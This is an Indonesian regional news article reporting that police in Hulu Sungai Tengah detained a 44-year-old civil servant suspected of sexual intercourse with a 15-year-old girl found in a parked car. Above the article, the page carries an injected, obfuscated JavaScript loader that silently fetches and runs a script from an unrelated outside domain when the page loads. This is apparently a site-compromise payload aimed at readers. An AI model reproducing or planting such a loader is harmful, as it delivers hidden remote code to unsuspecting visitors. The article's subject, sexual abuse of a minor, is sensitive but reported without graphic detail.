(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BARABAI, Polres Hulu Sungai Tengah (HST) mengamankan seorang Oknum Pegawai Negeri Sipil (PNS) yang diduga melakukan tindak pidana persetubuhan anak sesuai dengan pasal 81 Ayat (2) Undang – Undang Nomor 35 Tahun 2014 tentang perubahan Atas Undang-Undang No.23 tahun 2002 tentang Perlindungan Anak.
“Oknum PNS yang diduga melakukan tindak pidana tersebut berinisial RF (44) asal Barabai, Kabupaten HST. Sedangkan korbannya adalah seorang anak di bawah umur AS (15),†ujar Kapolres HST AKBP Sabana Atmojo SIK, MH.
Adapun barang bukti yang diamankan berupa 1 lembar baju kaos lengan panjang merk Ignite warna abu-abu, 1 lembar celana leging merk Bebe warna hitam, 1 lembar celana dalam merk Ghanel warna biru, 1 lembar BH warna Kream, 1 (satu) buah mobil Toyota Avanza DA 1963 HB warna putih.
Kejadian bermula pada hari Jumat (25/1) sekitar pukul 20.30 wita, saat anggota piket Satuan Samapta dan SPKT Polres HST melaksanakan patroli daerah rawan kejahatan dan menemukan sebuah mobil yang parkir dipinggir jalan Tol Desa Hulu Rasau Kecamatan Pandawan Kabupaten HST. Ketika didekati, dicurigai melakukan persetubuhan dalam mobil dan di dalam mobil ditemukan cairan yang menyerupai sperma sehingga keduanya dibawa ke Polres.
Setelah diperiksa ternyata bukan suami istri dan malah wanitanya masih anak di bawah umur. Atas kejadian tersebut anggota langsung memberitahukan orang tua korban. Dan orang tua korban langsung menuju ke Mapolres HST karena merasa tidak terima kemudian melaporkan kejadian tersebut untuk diproses sesuai dengan hukum yang berlaku.
Kapolres HST AKBP Sabana Atmojo membenarkan atas kejadian tersebut dan akan memproses sesuai hukum yang berlaku. Serta menghimbau kepada masyarakat agar lebih waspada lagi dan menjaga anak perempuan nya sehingga kejadian serupa tidak terjadi lagi karena kejahatan terhadap anak sering terjadi dilakukan oleh orang dekat. (rico)
KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
This website uses cookies.